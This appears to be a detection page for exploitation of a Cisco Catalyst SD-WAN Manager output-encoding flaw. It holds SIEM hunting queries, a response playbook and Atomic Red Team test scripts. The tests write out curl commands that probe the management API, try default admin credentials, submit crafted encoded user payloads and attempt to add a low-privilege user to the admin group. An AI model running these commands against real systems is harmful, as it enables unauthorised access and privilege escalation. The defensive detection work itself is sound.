Detect Cisco Catalyst SD-WAN Manager Improper Output Encoding Exploitation in CrowdStrike LogScale
Detects exploitation attempts targeting CVE-2026-20245, an improper encoding or escaping of output vulnerability (CWE-116) in Cisco Catalyst SD-WAN Manager. This vulnerability is actively exploited in the wild (CISA KEV) and may allow attackers to perform privilege escalation or inject malicious content through improperly encoded output. Detection focuses on anomalous authentication patterns, unexpected privilege changes, API abuse, and suspicious management plane activity against SD-WAN Manager instances.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName in ("NetworkConnectIP4", "NetworkReceiveAcceptIP4", "ProcessRollup2", "SyntheticProcessRollup2")
| HostName = /vmanage|sdwan.?manager|sdwanmgr/i
OR ImageFileName = /vmanage|sdwan/i
| eval suspicious = case(
CommandLine = /privilege.escal/i, "PrivilegeEscalation",
CommandLine = /unauthorized.*admin/i, "UnauthorizedAdmin",
RemotePort in (443, 8443) AND ConnectionDirection = "1", "InboundMgmtConnection",
ImageFileName = /sh|bash|python/ AND ParentBaseFileName = /vmanage|java/, "ShellSpawnedFromSDWAN",
true(), "Other"
)
| suspicious != "Other"
| groupby([HostName, suspicious, ImageFileName, CommandLine], function=count(1, as=event_count))
| sort(event_count, order=desc)
| limit 200 CrowdStrike Falcon query hunting for anomalous process and network activity on Cisco SD-WAN Manager hosts — including privilege escalation command patterns, inbound management connections, and unexpected shell processes spawned from SD-WAN Manager JVM.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate SD-WAN Manager maintenance scripts executing shell commands during upgrades
- Authorized administrative SSH or API sessions from known management IPs
- SD-WAN Manager health monitoring daemons establishing outbound connections to Cisco cloud telemetry
- CrowdStrike sensor installed on SD-WAN Manager VM generating false process attribution
Other platforms for CVE-2026-20245
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1SD-WAN Manager REST API Endpoint Enumeration and Auth Probe
Expected signal: Web server access logs and SD-WAN Manager audit logs should record multiple 401/403 responses to /dataservice/ endpoints from the probe source IP within a short time window
- Test 2Simulate Output Encoding Bypass via Crafted API Payload
Expected signal: SD-WAN Manager application logs should record the API request with the encoded payload; web access logs capture the POST to /dataservice/users with unexpected encoded characters in request body
- Test 3Post-Exploitation Privilege Escalation Simulation via vManage Admin API
Expected signal: SD-WAN Manager audit logs should record the group membership change attempt; if successful, an entry will appear under Administration > Audit Log showing the privilege modification with source IP and timestamp
Response Playbook
Triage
- Identify all Cisco Catalyst SD-WAN Manager instances in the environment — confirm software versions and patch status against the Cisco advisory at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx
- Review SD-WAN Manager audit logs (Administration > Audit Log) for unexpected privilege changes, new admin account creation, or API calls originating from unfamiliar source IPs within the last 72 hours
- Correlate alert source IPs against threat intelligence feeds and known management IP allowlists — flag any external or unexpected source IPs that accessed /dataservice/ REST endpoints
- Check for unauthorized user accounts or role modifications in SD-WAN Manager (Administration > Manage Users) that may indicate post-exploitation privilege persistence
Containment
- If active exploitation is confirmed, immediately restrict access to the SD-WAN Manager management plane — enforce IP allowlisting on the management interface and block external access at the perimeter firewall until the patch is applied
- Rotate all SD-WAN Manager administrative credentials and invalidate active sessions; revoke and reissue API tokens for any automated integrations accessing the management API
Evidence Collection
- Export full SD-WAN Manager audit logs (Administration > Audit Log) covering the period 72 hours before the first alert through present — preserve as tamper-evident archive
- Capture SD-WAN Manager application logs from /var/log/nms/ on the vManage host, including nm_server.log, vdaemon.log, and any core dump files generated around the time of suspicious activity
Escalation Criteria
- !Escalate immediately if any new administrative accounts were created or existing admin privileges were elevated without a corresponding change-management ticket — this indicates likely successful exploitation
- !Escalate if SD-WAN Manager has been used to push unauthorized configuration changes to managed SD-WAN edge devices, as this would indicate lateral movement from the management plane to the data plane
Investigation Guide
Related Techniques
Forensic Artifacts
- >
SD-WAN Manager audit log entries (Administration > Audit Log) showing privilege changes, user creation, or unusual API activity - >
Web server access logs showing repeated 401/403 responses to /dataservice/ REST endpoints from unexpected source IPs, followed by successful 200 responses indicating successful bypass - >
vManage application logs in /var/log/nms/ containing Java exceptions, encoding errors, or stack traces that correlate with exploitation timing
Tuning Guidance
Reduce false positives by building and maintaining a dynamic allowlist of known management IP addresses (NOC, SIEM, orchestration platforms) and excluding these from alerting. Set the failure threshold (currently >= 2 events) higher (>= 5) in environments with noisy automated tooling. If the SD-WAN Manager REST API is heavily used by automation, filter on source IPs not in the known automation inventory. For the CrowdStrike rule, exclude known software update processes and Cisco-signed binaries from shell spawn detection. Tune upward to high confidence once the environment's baseline API error rate is established.
Hunting Queries
Hunts for the authentication bypass pattern associated with output encoding exploitation — source IPs that first received repeated 4xx errors on SD-WAN Manager API endpoints and then subsequently received 200 OK responses, suggesting a successful bypass after initial failures
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor == "Cisco" and DeviceProduct has_any ("SD-WAN", "vManage")
| where RequestURL has "/dataservice/"
| where EventOutcome in ("403", "401", "500")
| summarize FailureCount = count(), UniqueURLs = dcount(RequestURL), FirstFailure = min(TimeGenerated), LastFailure = max(TimeGenerated) by SourceIP, DestinationIP
| where FailureCount >= 5
| join kind=inner (
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor == "Cisco" and DeviceProduct has_any ("SD-WAN", "vManage")
| where RequestURL has "/dataservice/"
| where EventOutcome == "200"
| summarize SuccessCount = count() by SourceIP
) on SourceIP
| project FirstFailure, LastFailure, SourceIP, DestinationIP, FailureCount, SuccessCount, UniqueURLs
| order by FailureCount desc index=network_security sourcetype="cisco:sdwan" "/dataservice/"
| stats count(eval(status>=400)) as failures, count(eval(status=200)) as successes by src_ip, dest_ip
| where failures >= 5 AND successes >= 1
| eval failure_then_success="Possible auth bypass — investigate"
| table src_ip, dest_ip, failures, successes, failure_then_success Atomic Red Team Tests
Simulates initial reconnaissance and authentication probing against a Cisco Catalyst SD-WAN Manager REST API, consistent with early-stage CVE-2026-20245 exploitation. Tests detection of repeated 401/403 responses on /dataservice/ endpoints from an unexpected source.
Command
TARGET_IP="192.168.100.10"; TARGET_PORT="8443";
for endpoint in "/dataservice/client/token" "/dataservice/users" "/dataservice/admin/user" "/dataservice/system/information"; do
echo "[*] Probing: https://${TARGET_IP}:${TARGET_PORT}${endpoint}";
curl -sk -o /dev/null -w "%{http_code} %{url_effective}\n" \
-H 'Content-Type: application/json' \
-H 'X-XSRF-TOKEN: ' \
"https://${TARGET_IP}:${TARGET_PORT}${endpoint}";
sleep 1;
done Cleanup
No cleanup required — read-only HTTP probes against lab target only Expected Telemetry
Web server access logs and SD-WAN Manager audit logs should record multiple 401/403 responses to /dataservice/ endpoints from the probe source IP within a short time window
Expected Detection
KQL, SPL, and QRadar queries should fire on repeated API authentication failures from the probe source IP against SD-WAN Manager endpoints
Sends a crafted HTTP request to the SD-WAN Manager REST API with specially encoded characters in parameter values to test for CWE-116 output encoding deficiencies. Lab environment only against an unpatched vManage instance.
Command
TARGET_IP="192.168.100.10"; TARGET_PORT="8443";
TOKEN=$(curl -sk -X POST "https://${TARGET_IP}:${TARGET_PORT}/dataservice/client/token" \
-H 'Content-Type: application/json' \
-d '{"j_username":"admin","j_password":"admin"}' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null);
echo "[*] Attempting crafted payload with encoded characters";
curl -sk -X POST "https://${TARGET_IP}:${TARGET_PORT}/dataservice/users" \
-H 'Content-Type: application/json' \
-H "X-XSRF-TOKEN: ${TOKEN}" \
-d '{"userName":"test%00admin","password":"Test@1234","group":["basic"],"description":"test%3Bescaped"}' \
-w "\nHTTP Status: %{http_code}\n" Cleanup
Log in to SD-WAN Manager admin console and remove any test user accounts created during the test; review audit log to confirm no unintended privilege changes occurred Expected Telemetry
SD-WAN Manager application logs should record the API request with the encoded payload; web access logs capture the POST to /dataservice/users with unexpected encoded characters in request body
Expected Detection
Log-based detections should capture the API call; if the encoded payload bypasses validation and creates a user, audit log detections should fire on unexpected user creation event
Simulates post-exploitation privilege escalation by attempting to modify an existing low-privilege user account to add admin group membership via the SD-WAN Manager REST API, consistent with CVE-2026-20245 privilege escalation impact.
Command
TARGET_IP="192.168.100.10"; TARGET_PORT="8443"; LOW_PRIV_USER="testoperator";
TOKEN=$(curl -sk -X POST "https://${TARGET_IP}:${TARGET_PORT}/dataservice/client/token" \
-H 'Content-Type: application/json' \
-d '{"j_username":"testoperator","j_password":"Operator@1234"}' | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null);
echo "[*] Attempting privilege escalation via group membership change";
curl -sk -X PUT "https://${TARGET_IP}:${TARGET_PORT}/dataservice/admin/user/${LOW_PRIV_USER}/group" \
-H 'Content-Type: application/json' \
-H "X-XSRF-TOKEN: ${TOKEN}" \
-d '["netadmin"]' \
-w "\nHTTP Status: %{http_code}\n";
echo "[*] Checking current group membership";
curl -sk "https://${TARGET_IP}:${TARGET_PORT}/dataservice/admin/user/${LOW_PRIV_USER}" \
-H "X-XSRF-TOKEN: ${TOKEN}" | python3 -m json.tool 2>/dev/null Cleanup
Restore the test user account to its original low-privilege group membership via SD-WAN Manager admin console; verify no persistent backdoor accounts were created Expected Telemetry
SD-WAN Manager audit logs should record the group membership change attempt; if successful, an entry will appear under Administration > Audit Log showing the privilege modification with source IP and timestamp
Expected Detection
Playbook escalation criteria should trigger — any successful privilege elevation not matching a change-management ticket warrants immediate escalation; SIEM detections on SD-WAN Manager audit log ingestion should alert on group membership changes